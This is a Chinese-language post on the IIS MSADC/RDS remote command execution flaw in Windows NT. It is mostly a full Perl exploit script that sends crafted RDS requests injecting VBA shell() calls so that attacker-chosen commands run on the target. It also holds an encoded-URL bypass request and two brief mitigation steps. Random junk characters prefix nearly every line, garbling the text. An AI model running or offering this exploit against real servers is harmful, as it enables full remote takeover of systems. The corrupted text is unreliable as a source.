IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
DKnlbl1^? 1. S?(1e" 涉及程序：
E/:mO~1< c Microsoft NT server
M! D&a)\ U-6pia /o 描述：
xr o%AM 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
g[% ^OT# u$%;03hJ 详细：
S@^ o=B]] 如果你没有时间读详细内容的话，就删除:
Wq"5-U;:w c:\Program Files\Common Files\System\Msadc\msadcs.dll
Y A:!ULzR* 有关的安全问题就没有了。
OC5\3H nb|KIW 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
M8y:FDX pj9* $.{ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
] i:WP2 关于利用ODBC远程漏洞的描述，请参看:
DPg\y".4Y& d [f,Nu' http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm aJ3 .D l6 ~wm1vO 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
_rakTo8BY http://www.microsoft.com/security/bulletins/MS99-025faq.asp C>=[fAr mO ;Im%L=q9GL 这里不再论述。
A1p87o> $9@jV<Q1 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
ur @"wcl"V U'oFW@Y; h /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
UfxY D 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
dVKctt'C t E(_Cg DV!10NqUr #将下面这段保存为txt文件，然后: "perl -x 文件名"
sogdM{tz\ *P;
cSx?2 #!perl
Vm]xV_FOd #
[~Vj(H=KwI # MSADC/RDS 'usage' (aka exploit) script
$L e|4Hj #
J-U5_>S # by rain.forest.puppy
(ptk!u6 #
m#Dae\w& # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
/BQB 7vL # beta test and find errors!
A8T75?lL( MY w3+B+Jj use Socket; use Getopt::Std;
u WjSqyb: getopts("e:vd:h:XR", \%args);
)C&'5z O-,0c1ts print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
!eP)"YWI3 ;k fl5 if (!defined $args{h} && !defined $args{R}) {
6+LBs.vl} print qq~
u5O`|I@R Usage: msadc.pl -h <host> { -d <delay> -X -v }
S9 kA69O -h <host> = host you want to scan (ip or domain)
< .knM -d <seconds> = delay between calls, default 1 second
A V]7 l}- -X = dump Index Server path table, if available
4T??8J-J -v = verbose
LM2S%._cj; -e = external dictionary file for step 5
$i9</Es
P es!>u{8) Or a -R will resume a command session
w^Atd|~gi ESyb34T` ~; exit;}
e$l*s/"0t 8$~^-_>n/ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
1a]QNl_x if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
UNF@%O4_T if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
DcRvZ H if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
>`=9So_J $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
k; (r:k^ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
$,
vX yZ e. Gjp { if (!defined $args{R}){ $ret = &has_msadc;
YwU[kr-i die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
*o}7&Hw#9f r~YxtBZH+ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
p?V @P6h . "cmd /c ";
W!o|0u!D $in=<STDIN>; chomp $in;
3k# h !Z $command="cmd /c " . $in ;
SSn{,H8/j )N3XbbV if (defined $args{R}) {&load; exit;}
8s9ZY4_ 'B9q&k%< print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
nw, XA0M3 &try_btcustmr;
q(\kCU y! mkuK$Mj print "\nStep 2: Trying to make our own DSN...";
ZbfpMZ g &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
l>*L
Am5 wz f print "\nStep 3: Trying known DSNs...";
pB:/oHV &known_dsn;
wBI>H
7A 21sXCmYR,t print "\nStep 4: Trying known .mdbs...";
g@| 2z &known_mdb;
%X* *( FjV)QP H if (defined $args{e}){
V/Q/Ujgg print "\nStep 5: Trying dictionary of DSN names...";
((AIrE>Rr &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
@
D.MpM}~ ` q m$2 print "Sorry Charley...maybe next time?\n";
w `_"R6 exit;
}!QVcu"+t/ ?p& ( Af) ##############################################################################
,B1~6y\b ?bGk%jjHXM sub sendraw { # ripped and modded from whisker
:YCB23368" sleep($delay); # it's a DoS on the server! At least on mine...
0BP Ubp( my ($pstr)=@_;
%\] x}IC socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
trz &]v=: die("Socket problems\n");
h'.B-y~c if(connect(S,pack "SnA4x8",2,80,$target)){
a`6R}|ZB select(S); $|=1;
qGdoRrp0Ov print $pstr; my @in=<S>;
$ww0$ select(STDOUT); close(S);
;[B-!F> return @in;
+'9E4Lpx } else { die("Can't connect...\n"); }}
agd^ ga3 i\dd ##############################################################################
']U<R=5T$ s< {) X$ sub make_header { # make the HTTP request
V /]o': my $msadc=<<EOT
&3f^]n!@ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
_sK{qQxvM= User-Agent: ACTIVEDATA
$1Qcz,4B| Host: $ip
in7h ^6?I Content-Length: $clen
2" u,f Connection: Keep-Alive
,t
+sw4 gX]ewbPDQ ADCClientVersion:01.06
Gz:ell$ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Slv91c&md, c2wgJH !g --!ADM!ROX!YOUR!WORLD!
c0Yc~&RF Content-Type: application/x-varg
\: Q)X$6 Content-Length: $reqlen
vg8Yc }"M5"? EOT
]cM,m2^2 ; $msadc=~s/\n/\r\n/g;
r2m&z%N & return $msadc;}
\k3EFSm 1#KBf[0 ##############################################################################
^&KpvQNW_ C."\ a_p sub make_req { # make the RDS request
;:
0<(!^* my ($switch, $p1, $p2)=@_;
k:8NOx|s " my $req=""; my $t1, $t2, $query, $dsn;
k
[iT' ] dy]ZS<Hz8G if ($switch==1){ # this is the btcustmr.mdb query
]O V}yD2p $query="Select * from Customers where City=" . make_shell();
TTGWOC $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
SB g |V $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
20/P:; <>H^:iqn elsif ($switch==2){ # this is general make table query
4 q\&Mb3 $query="create table AZZ (B int, C varchar(10))";
Y=D\ $dsn="$p1";}
[ d`m)MW- 5c$\DZ( elsif ($switch==3){ # this is general exploit table query
`_SV1|=="8 $query="select * from AZZ where C=" . make_shell();
Z8`Y}#Za [ $dsn="$p1";}
uM, R +)3 ]G Blads elsif ($switch==4){ # attempt to hork file info from index server
W<:x4gBa $query="select path from scope()";
<"yL(s^u" $dsn="Provider=MSIDXS;";}
hC ?rHw
H> JnLF61 elsif ($switch==5){ # bad query
ajW2HH*9}A $query="select";
kS4YxtvB $dsn="$p1";}
40G'3HOp x/ix%!8J $t1= make_unicode($query);
.Nk5W%7]= $t2= make_unicode($dsn);
wz>[CXpi_ $req = "\x02\x00\x03\x00";
#^{%jlmHxJ $req.= "\x08\x00" . pack ("S1", length($t1));
m qwJya $req.= "\x00\x00" . $t1 ;
P=.~LZZ]89 $req.= "\x08\x00" . pack ("S1", length($t2));
LfN,aW $req.= "\x00\x00" . $t2 ;
Vni U:A $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
mrBK{@n return $req;}
)E m`kle u.Tknw-X ##############################################################################
s8dP=_ ` Z1_F)5p n sub make_shell { # this makes the shell() statement
Dt\rrN:v return "'|shell(\"$command\")|'";}
beB3*o [\rzXE ##############################################################################
(4|R}jv B!U;a=ia sub make_unicode { # quick little function to convert to unicode
5A+@xhRf my ($in)=@_; my $out;
*T~b
ox for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
1024L; return $out;}
e*Y<m \* ^!z(IE' ##############################################################################
MT6" b 5_1\{l P sub rdo_success { # checks for RDO return success (this is kludge)
biV NZdA my (@in) = @_; my $base=content_start(@in);
M 5$JB nN if($in[$base]=~/multipart\/mixed/){
I&`aGnr^^ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
GT\ yjrCd return 0;}
Ns]$+| jig3M N ##############################################################################
v3{%U 1>}v z[@i=avPG sub make_dsn { # this makes a DSN for us
\/b[V3<" my @drives=("c","d","e","f");
F"1tPWn print "\nMaking DSN: ";
N 1ydL foreach $drive (@drives) {
BkP4.XRI print "$drive: ";
;*0nPhBw0> my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
2@IL
n+# "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
%cBOi_}}~ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
8Ltl32JSB[ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Yr>0Qg], return 0 if $2 eq "404"; # not found/doesn't exist
[SD
mdr1T$ if($2 eq "200") {
hM[3l1o{| foreach $line (@results) {
q] Kv.x]$R return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
bGkLa/?S } return 0;}
56 Z f8ZuG ! U ##############################################################################
#lc6-K# qOIVuzi* sub verify_exists {
;NE4G;px4< my ($page)=@_;
`"hWbmQ my @results=sendraw("GET $page HTTP/1.0\n\n");
3Yo)K return $results[0];}
Fv$A %6;W PpH
;p.-!d ##############################################################################
{+GR/l\!# E M`'=<)V sub try_btcustmr {
K-@\";whF my @drives=("c","d","e","f");
"$D'gS oYe my @dirs=("winnt","winnt35","winnt351","win","windows");
'Lw8l ` 7 : dNJ2&kJ foreach $dir (@dirs) {
Gpi_p print "$dir -> "; # fun status so you can see progress
4 LW~ foreach $drive (@drives) {
9t b-;| print "$drive: "; # ditto
KuW>^mF(I $reqlen=length( make_req(1,$drive,$dir) ) - 28;
)FPn_p#3] $reqlenlen=length( "$reqlen" );
3hxV`rb $clen= 206 + $reqlenlen + $reqlen;
6}VFob#h8 e=aU9v
L my @results=sendraw(make_header() . make_req(1,$drive,$dir));
9 Ofls9]U if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
aqWlX0 + else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
yPY{ZADkQ g* `xEb= ' ##############################################################################
O /:FY1 \w"~DuA sub odbc_error {
*K|ah:(r1\ my (@in)=@_; my $base;
BO7XN; my $base = content_start(@in);
J Vxja<43 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
q"oNFHYPDs $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
luyu 7` $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,p /{!BX $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|,~
)/o_R return $in[$base+4].$in[$base+5].$in[$base+6];}
z' Z[mrLq print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
:KR
KD print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
&W c$VD C $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
!|j|rYi- >< >%;HZ ##############################################################################
\ q3ui }-9 s~bi#U;dF sub verbose {
~I9o * cq my ($in)=@_;
p&5>j\uJ1& return if !$verbose;
y/kB`Z(Yj print STDOUT "\n$in\n";}
C J7S5 q VI0?B
x ##############################################################################
=9W\;xE S }/h&`0z ` sub save {
BvH?d]% my ($p1, $p2, $p3, $p4)=@_;
}}ic{93 1 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
*/_ 'pt print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
^\kH^ close OUT;}
Jz3,vV fQ: !s?SI=B8 ##############################################################################
FvYciU! t K/.9qP sub load {
L &hw- .Q my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
>fth
iA open(IN,"<rds.save") || die("Couldn't open rds.save\n");
s$? LMfT @p=<IN>; close(IN);
t 1"#L_<e $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
RgL>0s $target= inet_aton($ip) || die("inet_aton problems");
v;U5[ print "Resuming to $ip ...";
rGXUV`5Na $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
RjTGm=1w if($p[1]==1) {
X,#~[%h$-= $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
(vX< B h $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
vC `SD] my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
iR lpNsN if (rdo_success(@results)){print "Success!\n";}
}ijQ*ECdl else { print "failed\n"; verbose(odbc_error(@results));}}
|$e'y x6j elsif ($p[1]==3){
,G5[?H;ZN if(run_query("$p[3]")){
HZ2W`wo print "Success!\n";} else { print "failed\n"; }}
{: #nrD" elsif ($p[1]==4){
6>)nkD32g if(run_query($drvst . "$p[3]")){
!lo
/L print "Success!\n"; } else { print "failed\n"; }}
al-r gh exit;}
NdSuOkwwt Ej
5_d ##############################################################################
X{H h^H XZ M@Rys sub create_table {
m o] l_' my ($in)=@_;
EApbaS}Up $reqlen=length( make_req(2,$in,"") ) - 28;
5ya^k{`+ZO $reqlenlen=length( "$reqlen" );
tl\<:8pI" $clen= 206 + $reqlenlen + $reqlen;
{ V[}#Mf my @results=sendraw(make_header() . make_req(2,$in,""));
J|DZi2o return 1 if rdo_success(@results);
OXb ShA&1 my $temp= odbc_error(@results); verbose($temp);
5E"^>z return 1 if $temp=~/Table 'AZZ' already exists/;
M?L$xE_& return 0;}
9=3DYCk/ hV0fkQ.| ##############################################################################
EG| dN(qh % @+j@i`& sub known_dsn {
QIevps* # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
1JfZstT my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
0Ci/-3HV! "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
{>9ED.t "banner", "banners", "ads", "ADCDemo", "ADCTest");
*B }O 3
V>$H\H foreach $dSn (@dsns) {
H,5]w \R6\ print ".";
Cl9 nmyf
next if (!is_access("DSN=$dSn"));
..+#~3es#y if(create_table("DSN=$dSn")){
4oueLT(zc print "$dSn successful\n";
O !{YwE8x9 if(run_query("DSN=$dSn")){
V+y "L>K print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
h9CTcWGt print "Something's borked. Use verbose next time\n";}}} print "\n";}
^V#,iO9.- 3\Q 9>> ##############################################################################
/e?0Iv"
8> dt,Z^z+" E sub is_access {
~IjID my ($in)=@_;
_p+E(i 9 $reqlen=length( make_req(5,$in,"") ) - 28;
)7NI5x^$ $reqlenlen=length( "$reqlen" );
$--+M
D29Q $clen= 206 + $reqlenlen + $reqlen;
5B4/2q= my @results=sendraw(make_header() . make_req(5,$in,""));
h]k $K my $temp= odbc_error(@results);
h_S>Q verbose($temp); return 1 if ($temp=~/Microsoft Access/);
L YF| return 0;}
Q= fl!>P %dg [ho ##############################################################################
< Nqbp {.jW" 0U sub run_query {
) y;7\-K0 my ($in)=@_;
matna $reqlen=length( make_req(3,$in,"") ) - 28;
c>{QTI:] $reqlenlen=length( "$reqlen" );
'!8-/nlv1 $clen= 206 + $reqlenlen + $reqlen;
ocJG4# my @results=sendraw(make_header() . make_req(3,$in,""));
RK &>! ^ return 1 if rdo_success(@results);
@v2ko5 my $temp= odbc_error(@results); verbose($temp);
A$5 M. return 0;}
Wu'qpJ @`:X,]{ ##############################################################################
Q= xXj'W- %kV7 <:y sub known_mdb {
, >S7c my @drives=("c","d","e","f","g");
->{-yh]jv my @dirs=("winnt","winnt35","winnt351","win","windows");
#0[^jJ3J my $dir, $drive, $mdb;
E'DHO2
Y my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
nWY^?e'S 7<;oz30G!L # this is sparse, because I don't know of many
yG/!K uA my @sysmdbs=( "\\catroot\\icatalog.mdb",
=
a60Xv "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
-[
gT}{k! "\\system32\\certmdb.mdb",
BDWbWA
6 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
aE 9Y
| 6 =!^
gQ0~4 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
QO(F%&v++ "\\cfusion\\cfapps\\forums\\forums_.mdb",
adX"Yg!`{c "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
!=,Y=5M, "\\cfusion\\cfapps\\security\\realm_.mdb",
-|uoxj> "\\cfusion\\cfapps\\security\\data\\realm.mdb",
62qjU<Z "\\cfusion\\database\\cfexamples.mdb",
)j>U4a "\\cfusion\\database\\cfsnippets.mdb",
;VAyH('~ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
79W^; \3 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
8Ejb/W_ "\\cfusion\\brighttiger\\database\\cleam.mdb",
~8u *sy "\\cfusion\\database\\smpolicy.mdb",
"^\q{S&q2P "\\cfusion\\database\cypress.mdb",
s) shq3O "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
dM^Z,; u "\\website\\cgi-win\\dbsample.mdb",
#Ir?v "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
0O>ClE~P "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
~;#} aQYo ); #these are just
mA+:)?e5~ foreach $drive (@drives) {
()l3 X.t,$ foreach $dir (@dirs){
+lq Gf foreach $mdb (@sysmdbs) {
pOo016afmA print ".";
q -8G if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
*??lwv Jp print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
C\GP}:[T3 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
|50sGJE( print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
wqF?o } else { print "Something's borked. Use verbose next time\n"; }}}}}
jTcv&`fA z ZDW=>}~_y foreach $drive (@drives) {
;x/eb g
foreach $mdb (@mdbs) {
<4q H0< print ".";
V9BW @G@9 if(create_table($drv . $drive . $dir . $mdb)){
z m$Sw0#( print "\n" . $drive . $dir . $mdb . " successful\n";
Wq1 jT IQ if(run_query($drv . $drive . $dir . $mdb)){
?l^Xauk4Pj print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
"
L`)^ } else { print "Something's borked. Use verbose next time\n"; }}}}
&b tI# }
"U-jZ5o" 5z!$=SFz ##############################################################################
XH$r( @Z\7 YiDO V) sub hork_idx {
' 6 F-% print "\nAttempting to dump Index Server tables...\n";
96(Mu% l print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
6^ [ 4.D $reqlen=length( make_req(4,"","") ) - 28;
|2u=3#Jp $reqlenlen=length( "$reqlen" );
?!U[~Gq $clen= 206 + $reqlenlen + $reqlen;
Q7$o&N{ my @results=sendraw2(make_header() . make_req(4,"",""));
"a8E0b if (rdo_success(@results)){
.PUp3 X- my $max=@results; my $c; my %d;
!{t|z=Qg for($c=19; $c<$max; $c++){
#;j:;LRU $results[$c]=~s/\x00//g;
WI/ tWj0 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
<Kv$3y $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
2+
cs^M3 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
P.,U>m $d{"$1$2"}="";}
6p)AQTh> foreach $c (keys %d){ print "$c\n"; }
Q,&Li+u| } else {print "Index server doesn't seem to be installed.\n"; }}
MxIa,M < Q S &B"7;g ##############################################################################
rTIu ' 6(f 'P_* sub dsn_dict {
Yg^ &4ZF open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Y#ZgrziYM while(<IN>){
xf]K $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
]$@D=g,r next if (!is_access("DSN=$dSn"));
w#|L8VAh if(create_table("DSN=$dSn")){
i.vH$ print "$dSn successful\n";
R}M
;, G if(run_query("DSN=$dSn")){
DVL-qt\;n print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
E5bVCAz print "Something's borked. Use verbose next time\n";}}}
]]O( IC print "\n"; close(IN);}
|h\7Q1,1~2 I 4X9RYB6c ##############################################################################
W-=6:y#A tNi>TkC}` sub sendraw2 { # ripped and modded from whisker
` x9Eo4(/ sleep($delay); # it's a DoS on the server! At least on mine...
J, 9NVw$ my ($pstr)=@_;
# #7y|AwK socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
GkIY2PD die("Socket problems\n");
N7+L@CC6T if(connect(S,pack "SnA4x8",2,80,$target)){
rG-T Dm print "Connected. Getting data";
.:r~?$( open(OUT,">raw.out"); my @in;
?dgyi4J?=` select(S); $|=1; print $pstr;
Q !e560@ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
6st
close(OUT); select(STDOUT); close(S); return @in;
v 3I^81 } else { die("Can't connect...\n"); }}
,yYcjs!=o 4N,m cV ##############################################################################
EO&Q "]+g5 G sub content_start { # this will take in the server headers
JL1ajlm~ my (@in)=@_; my $c;
WEimJrAn for ($c=1;$c<500;$c++) {
::|~tLFu if($in[$c] =~/^\x0d\x0a/){
qz-QVY , if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
2X?GEO]/4 else { return $c+1; }}}
gsk?
!D return -1;} # it should never get here actually
0@
Y# P|QF AG N/kx ##############################################################################
i+*!" /De P=QxfX0B sub funky {
9r!8BjA my (@in)=@_; my $error=odbc_error(@in);
~zqb{o^ pT if($error=~/ADO could not find the specified provider/){
/, Xl8<~# print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Hc)z:x;Sj exit;}
{{?g%mQ6 if($error=~/A Handler is required/){
Xu] ~vik print "\nServer has custom handler filters (they most likely are patched)\n";
2?JV "O= exit;}
Lgg,K//g if($error=~/specified Handler has denied Access/){
;A*SuFbV print "\nServer has custom handler filters (they most likely are patched)\n";
&|/_"*uM exit;}}
5?kf E ?h= n5}Y ##############################################################################
v`HE R6 nI\6a G?` sub has_msadc {
Y}:~6`- jj my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
uzy5rA== my $base=content_start(@results);
9P?0D return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
pM?;QG;jA return 0;}
JE ?rp1. 3 e_tT 8 ########################
q< JCgO-F< $TI^8 3 [ n2B6Px 解决方案：
m8q4t ,<J 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
va6Fp2n<1* 2、移除web 目录: /msadc
